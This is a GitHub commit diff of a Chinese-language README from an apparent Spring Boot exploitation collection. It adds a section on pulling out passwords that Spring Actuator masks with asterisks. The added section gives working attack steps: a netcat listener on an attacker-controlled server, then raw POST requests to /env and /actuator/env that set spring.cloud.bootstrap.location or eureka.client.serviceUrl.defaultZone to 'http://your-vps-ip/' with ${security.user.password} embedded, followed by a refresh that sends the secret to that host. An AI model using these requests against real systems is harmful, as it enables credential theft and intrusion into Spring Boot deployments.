Skip to content

Commit 8c7a68f

Browse files
committed
Update README.md
1 parent b12ace1 commit 8c7a68f

File tree

1 file changed

+124
-14
lines changed

1 file changed

+124
-14
lines changed

README.md

Lines changed: 124 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -39,27 +39,34 @@ Spring Boot 相关漏洞学习资料,利用方法和技巧合集,黑盒安
3939
* [步骤五: 解码属性值](#%E6%AD%A5%E9%AA%A4%E4%BA%94-%E8%A7%A3%E7%A0%81%E5%B1%9E%E6%80%A7%E5%80%BC)
4040
* [漏洞原理:](#%E6%BC%8F%E6%B4%9E%E5%8E%9F%E7%90%86-1)
4141
* [漏洞分析:](#%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90)
42-
* [二:远程代码执行](#%E4%BA%8C%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C)
43-
* [0x01:whitelabel error page SpEL RCE](#0x01whitelabel-error-page-spel-rce)
42+
* [0x05:获取被星号脱敏的密码的明文 (方法三)](#0x05%E8%8E%B7%E5%8F%96%E8%A2%AB%E6%98%9F%E5%8F%B7%E8%84%B1%E6%95%8F%E7%9A%84%E5%AF%86%E7%A0%81%E7%9A%84%E6%98%8E%E6%96%87-%E6%96%B9%E6%B3%95%E4%B8%89)
4443
* [利用条件:](#%E5%88%A9%E7%94%A8%E6%9D%A1%E4%BB%B6-2)
4544
* [利用方法:](#%E5%88%A9%E7%94%A8%E6%96%B9%E6%B3%95-2)
45+
* [步骤一: 找到想要获取的属性名](#%E6%AD%A5%E9%AA%A4%E4%B8%80-%E6%89%BE%E5%88%B0%E6%83%B3%E8%A6%81%E8%8E%B7%E5%8F%96%E7%9A%84%E5%B1%9E%E6%80%A7%E5%90%8D-2)
46+
* [步骤二: 使用 nc 监听 HTTP 请求](#%E6%AD%A5%E9%AA%A4%E4%BA%8C-%E4%BD%BF%E7%94%A8-nc-%E7%9B%91%E5%90%AC-http-%E8%AF%B7%E6%B1%82-1)
47+
* [步骤三: 触发对外 http 请求](#%E6%AD%A5%E9%AA%A4%E4%B8%89-%E8%A7%A6%E5%8F%91%E5%AF%B9%E5%A4%96-http-%E8%AF%B7%E6%B1%82)
48+
* [步骤四: 刷新配置](#%E6%AD%A5%E9%AA%A4%E5%9B%9B-%E5%88%B7%E6%96%B0%E9%85%8D%E7%BD%AE-1)
49+
* [二:远程代码执行](#%E4%BA%8C%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C)
50+
* [0x01:whitelabel error page SpEL RCE](#0x01whitelabel-error-page-spel-rce)
51+
* [利用条件:](#%E5%88%A9%E7%94%A8%E6%9D%A1%E4%BB%B6-3)
52+
* [利用方法:](#%E5%88%A9%E7%94%A8%E6%96%B9%E6%B3%95-3)
4653
* [步骤一:找到一个正常传参处](#%E6%AD%A5%E9%AA%A4%E4%B8%80%E6%89%BE%E5%88%B0%E4%B8%80%E4%B8%AA%E6%AD%A3%E5%B8%B8%E4%BC%A0%E5%8F%82%E5%A4%84)
4754
* [步骤二:执行 SpEL 表达式](#%E6%AD%A5%E9%AA%A4%E4%BA%8C%E6%89%A7%E8%A1%8C-spel-%E8%A1%A8%E8%BE%BE%E5%BC%8F)
4855
* [漏洞原理:](#%E6%BC%8F%E6%B4%9E%E5%8E%9F%E7%90%86-2)
4956
* [漏洞分析:](#%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90-1)
5057
* [漏洞环境:](#%E6%BC%8F%E6%B4%9E%E7%8E%AF%E5%A2%83)
5158
* [0x02:spring cloud SnakeYAML RCE](#0x02spring-cloud-snakeyaml-rce)
52-
* [利用条件:](#%E5%88%A9%E7%94%A8%E6%9D%A1%E4%BB%B6-3)
53-
* [利用方法:](#%E5%88%A9%E7%94%A8%E6%96%B9%E6%B3%95-3)
59+
* [利用条件:](#%E5%88%A9%E7%94%A8%E6%9D%A1%E4%BB%B6-4)
60+
* [利用方法:](#%E5%88%A9%E7%94%A8%E6%96%B9%E6%B3%95-4)
5461
* [步骤一: 托管 yml 和 jar 文件](#%E6%AD%A5%E9%AA%A4%E4%B8%80-%E6%89%98%E7%AE%A1-yml-%E5%92%8C-jar-%E6%96%87%E4%BB%B6)
5562
* [步骤二: 设置 spring\.cloud\.bootstrap\.location 属性](#%E6%AD%A5%E9%AA%A4%E4%BA%8C-%E8%AE%BE%E7%BD%AE-springcloudbootstraplocation-%E5%B1%9E%E6%80%A7)
5663
* [步骤三: 刷新配置](#%E6%AD%A5%E9%AA%A4%E4%B8%89-%E5%88%B7%E6%96%B0%E9%85%8D%E7%BD%AE)
5764
* [漏洞原理:](#%E6%BC%8F%E6%B4%9E%E5%8E%9F%E7%90%86-3)
5865
* [漏洞分析:](#%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90-2)
5966
* [漏洞环境:](#%E6%BC%8F%E6%B4%9E%E7%8E%AF%E5%A2%83-1)
6067
* [0x03:eureka xstream deserialization RCE](#0x03eureka-xstream-deserialization-rce)
61-
* [利用条件:](#%E5%88%A9%E7%94%A8%E6%9D%A1%E4%BB%B6-4)
62-
* [利用方法:](#%E5%88%A9%E7%94%A8%E6%96%B9%E6%B3%95-4)
68+
* [利用条件:](#%E5%88%A9%E7%94%A8%E6%9D%A1%E4%BB%B6-5)
69+
* [利用方法:](#%E5%88%A9%E7%94%A8%E6%96%B9%E6%B3%95-5)
6370
* [步骤一:架设响应恶意 XStream payload 的网站](#%E6%AD%A5%E9%AA%A4%E4%B8%80%E6%9E%B6%E8%AE%BE%E5%93%8D%E5%BA%94%E6%81%B6%E6%84%8F-xstream-payload-%E7%9A%84%E7%BD%91%E7%AB%99)
6471
* [步骤二:监听反弹 shell 的端口](#%E6%AD%A5%E9%AA%A4%E4%BA%8C%E7%9B%91%E5%90%AC%E5%8F%8D%E5%BC%B9-shell-%E7%9A%84%E7%AB%AF%E5%8F%A3)
6572
* [步骤三:设置 eureka\.client\.serviceUrl\.defaultZone 属性](#%E6%AD%A5%E9%AA%A4%E4%B8%89%E8%AE%BE%E7%BD%AE-eurekaclientserviceurldefaultzone-%E5%B1%9E%E6%80%A7)
@@ -68,8 +75,8 @@ Spring Boot 相关漏洞学习资料,利用方法和技巧合集,黑盒安
6875
* [漏洞分析:](#%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90-3)
6976
* [漏洞环境:](#%E6%BC%8F%E6%B4%9E%E7%8E%AF%E5%A2%83-2)
7077
* [0x04:jolokia logback JNDI RCE](#0x04jolokia-logback-jndi-rce)
71-
* [利用条件:](#%E5%88%A9%E7%94%A8%E6%9D%A1%E4%BB%B6-5)
72-
* [利用方法:](#%E5%88%A9%E7%94%A8%E6%96%B9%E6%B3%95-5)
78+
* [利用条件:](#%E5%88%A9%E7%94%A8%E6%9D%A1%E4%BB%B6-6)
79+
* [利用方法:](#%E5%88%A9%E7%94%A8%E6%96%B9%E6%B3%95-6)
7380
* [步骤一:查看已存在的 MBeans](#%E6%AD%A5%E9%AA%A4%E4%B8%80%E6%9F%A5%E7%9C%8B%E5%B7%B2%E5%AD%98%E5%9C%A8%E7%9A%84-mbeans)
7481
* [步骤二:托管 xml 文件](#%E6%AD%A5%E9%AA%A4%E4%BA%8C%E6%89%98%E7%AE%A1-xml-%E6%96%87%E4%BB%B6)
7582
* [步骤三:准备要执行的 Java 代码](#%E6%AD%A5%E9%AA%A4%E4%B8%89%E5%87%86%E5%A4%87%E8%A6%81%E6%89%A7%E8%A1%8C%E7%9A%84-java-%E4%BB%A3%E7%A0%81)
@@ -80,8 +87,8 @@ Spring Boot 相关漏洞学习资料,利用方法和技巧合集,黑盒安
8087
* [漏洞分析:](#%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90-4)
8188
* [漏洞环境:](#%E6%BC%8F%E6%B4%9E%E7%8E%AF%E5%A2%83-3)
8289
* [0x05:jolokia Realm JNDI RCE](#0x05jolokia-realm-jndi-rce)
83-
* [利用条件:](#%E5%88%A9%E7%94%A8%E6%9D%A1%E4%BB%B6-6)
84-
* [利用方法:](#%E5%88%A9%E7%94%A8%E6%96%B9%E6%B3%95-6)
90+
* [利用条件:](#%E5%88%A9%E7%94%A8%E6%9D%A1%E4%BB%B6-7)
91+
* [利用方法:](#%E5%88%A9%E7%94%A8%E6%96%B9%E6%B3%95-7)
8592
* [步骤一:查看已存在的 MBeans](#%E6%AD%A5%E9%AA%A4%E4%B8%80%E6%9F%A5%E7%9C%8B%E5%B7%B2%E5%AD%98%E5%9C%A8%E7%9A%84-mbeans-1)
8693
* [步骤二:准备要执行的 Java 代码](#%E6%AD%A5%E9%AA%A4%E4%BA%8C%E5%87%86%E5%A4%87%E8%A6%81%E6%89%A7%E8%A1%8C%E7%9A%84-java-%E4%BB%A3%E7%A0%81)
8794
* [步骤三:架设恶意 rmi 服务](#%E6%AD%A5%E9%AA%A4%E4%B8%89%E6%9E%B6%E8%AE%BE%E6%81%B6%E6%84%8F-rmi-%E6%9C%8D%E5%8A%A1)
@@ -90,15 +97,15 @@ Spring Boot 相关漏洞学习资料,利用方法和技巧合集,黑盒安
9097
* [漏洞原理:](#%E6%BC%8F%E6%B4%9E%E5%8E%9F%E7%90%86-6)
9198
* [漏洞分析:](#%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90-5)
9299
* [0x06:h2 database query RCE](#0x06h2-database-query-rce)
93-
* [利用条件:](#%E5%88%A9%E7%94%A8%E6%9D%A1%E4%BB%B6-7)
94-
* [利用方法:](#%E5%88%A9%E7%94%A8%E6%96%B9%E6%B3%95-7)
100+
* [利用条件:](#%E5%88%A9%E7%94%A8%E6%9D%A1%E4%BB%B6-8)
101+
* [利用方法:](#%E5%88%A9%E7%94%A8%E6%96%B9%E6%B3%95-8)
95102
* [步骤一:设置 spring\.datasource\.hikari\.connection\-test\-query 属性](#%E6%AD%A5%E9%AA%A4%E4%B8%80%E8%AE%BE%E7%BD%AE-springdatasourcehikariconnection-test-query-%E5%B1%9E%E6%80%A7)
96103
* [步骤二:重启应用](#%E6%AD%A5%E9%AA%A4%E4%BA%8C%E9%87%8D%E5%90%AF%E5%BA%94%E7%94%A8)
97104
* [漏洞原理:](#%E6%BC%8F%E6%B4%9E%E5%8E%9F%E7%90%86-7)
98105
* [漏洞分析:](#%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90-6)
99106
* [0x07:mysql jdbc deserialization RCE](#0x07mysql-jdbc-deserialization-rce)
100-
* [利用条件:](#%E5%88%A9%E7%94%A8%E6%9D%A1%E4%BB%B6-8)
101-
* [利用方法:](#%E5%88%A9%E7%94%A8%E6%96%B9%E6%B3%95-8)
107+
* [利用条件:](#%E5%88%A9%E7%94%A8%E6%9D%A1%E4%BB%B6-9)
108+
* [利用方法:](#%E5%88%A9%E7%94%A8%E6%96%B9%E6%B3%95-9)
102109
* [步骤一:查看环境依赖](#%E6%AD%A5%E9%AA%A4%E4%B8%80%E6%9F%A5%E7%9C%8B%E7%8E%AF%E5%A2%83%E4%BE%9D%E8%B5%96)
103110
* [步骤二:架设恶意 rogue mysql server](#%E6%AD%A5%E9%AA%A4%E4%BA%8C%E6%9E%B6%E8%AE%BE%E6%81%B6%E6%84%8F-rogue-mysql-server)
104111
* [步骤三:设置 spring\.datasource\.url 属性](#%E6%AD%A5%E9%AA%A4%E4%B8%89%E8%AE%BE%E7%BD%AE-springdatasourceurl-%E5%B1%9E%E6%80%A7)
@@ -446,6 +453,109 @@ Authorization: Basic dmFsdWU6MTIzNDU2
446453

447454

448455

456+
457+
458+
### 0x05:获取被星号脱敏的密码的明文 (方法三)
459+
460+
> 访问 /env 接口时,spring actuator 会将一些带有敏感关键词(如 password、secret)的属性名对应的属性值用 * 号替换达到脱敏的效果
461+
462+
#### 利用条件:
463+
464+
- 通过 POST `/env` 设置属性触发目标对外网指定地址发起任意 http 请求
465+
- 目标可以请求攻击者的服务器(请求可出外网)
466+
467+
468+
469+
#### 利用方法:
470+
471+
> 参考 UUUUnotfound 提出的 [issue-1](https://github.com/LandGrey/SpringBootVulExploit/issues/1),可以在目标发外部 http 请求的过程中,在 url path 中利用占位符带出数据
472+
473+
##### 步骤一: 找到想要获取的属性名
474+
475+
GET 请求目标网站的 `/env``/actuator/env` 接口,搜索 `******` 关键词,找到想要获取的被星号 * 遮掩的属性值对应的属性名。
476+
477+
478+
479+
##### 步骤二: 使用 nc 监听 HTTP 请求
480+
481+
在自己控制的外网服务器上监听 80 端口:
482+
483+
```bash
484+
nc -lvk 80
485+
```
486+
487+
488+
489+
##### 步骤三: 触发对外 http 请求
490+
491+
- `spring.cloud.bootstrap.location` 方法(**同时适用于**明文数据中有特殊 url 字符的情况):
492+
493+
494+
495+
spring 1.x
496+
497+
```
498+
POST /env
499+
Content-Type: application/x-www-form-urlencoded
500+
501+
spring.cloud.bootstrap.location=http://your-vps-ip/?=${security.user.password}
502+
```
503+
504+
spring 2.x
505+
506+
```
507+
POST /actuator/env
508+
Content-Type: application/json
509+
510+
{"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/?=${security.user.password}"}
511+
```
512+
513+
514+
515+
- `eureka.client.serviceUrl.defaultZone` 方法(**不适用于**明文数据中有特殊 url 字符的情况):
516+
517+
518+
519+
spring 1.x
520+
521+
```
522+
POST /env
523+
Content-Type: application/x-www-form-urlencoded
524+
525+
eureka.client.serviceUrl.defaultZone=http://your-vps-ip/${security.user.password}
526+
```
527+
528+
spring 2.x
529+
530+
```
531+
POST /actuator/env
532+
Content-Type: application/json
533+
534+
{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/${security.user.password}"}
535+
```
536+
537+
538+
539+
##### 步骤四: 刷新配置
540+
541+
spring 1.x
542+
543+
```
544+
POST /refresh
545+
Content-Type: application/x-www-form-urlencoded
546+
547+
```
548+
549+
spring 2.x
550+
551+
```
552+
POST /actuator/refresh
553+
Content-Type: application/json
554+
555+
```
556+
557+
558+
449559
## 二:远程代码执行
450560

451561
> 由于 spring boot 相关漏洞可能是多个组件漏洞组合导致的,所以有些漏洞名字起的不太正规,以能区分为准

0 commit comments

Comments
 (0)